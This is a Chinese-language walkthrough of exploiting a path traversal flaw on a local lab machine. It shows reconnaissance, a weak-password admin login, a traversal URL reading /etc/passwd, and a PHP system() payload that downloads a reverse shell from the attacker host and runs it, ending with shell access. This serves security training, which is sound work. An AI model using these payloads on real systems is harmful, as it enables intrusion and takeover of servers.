Background
路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过槽中带有“点-斜线(..)” 序列及其变化的文件或使用绝对文件路径来应用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置或关键系统文件。 这种攻击也称为“点-点斜线”、 “目录遍历”、 “目录爬升” 和 “回溯” 。
实验环境
攻击机 kali linux : 10.0.2.15
靶场机器 linux : 10.0.2.12
信息探测
先对靶场机器进行信息的收集
扫描开放的端口或服务
nmap -sV 10.0.2.12
扫描开放80端口http服务下的文件
1root@kali:~# dirb http://10.0.2.12/
发现疑似管理后台的页面
通过弱口令“admin”成功登陆后台
通过漏洞扫描器owasp-zap进行扫描
发现路径遍历漏洞
1http://10.0.2.12/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
漏洞利用
此时,知道服务器存在路径遍历漏洞,而且通过弱口令进入后台
想拿下该靶机的root权限,可以上传webshell,利用路径遍历执行webshell。
制作一个phpwebshell
1
2
3
4
5
6root@kali:~# ls /usr/share/webshells/php/
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php test/shell.php
root@kali:~# ls test/
shell.php
设置shell脚本的IP和监听端口
利用管理后台创建一个shell.php的数据库(就是一个php后缀的文件)
创建完数据库,创建表和字段
选择字段类型为txt,默认值为一段php代码,代码如下
1<?php system("cd /tmp;wget http://10.0.2.15/shell.php;chmod +x shell.php;php shell.php;") ?>
代码的作用是通过system函数执行系统命令,下载一个webshell并用php执行。
所以需要仔kali搭建http服务端
可以用python简易搭建
1
2root@kali:~/test# python -m "SimpleHTTPServer"
Serving HTTP on 0.0.0.0 port 8000 ...
由于端口是8000,需要重新指定端口,重新创建一张表
使用nc进行监听1234端口
1
2
3
4root@kali:~/test# nc -nvlp 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
利用目录遍历漏洞访问shell.php,应为是一个php文件,如果里面有php代码就会被解析执行
1http://10.0.2.12/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr/databases/shell.php
浏览器执行,卡顿后,返回监听端口查看
这样就获取到靶机的www-data用户的权限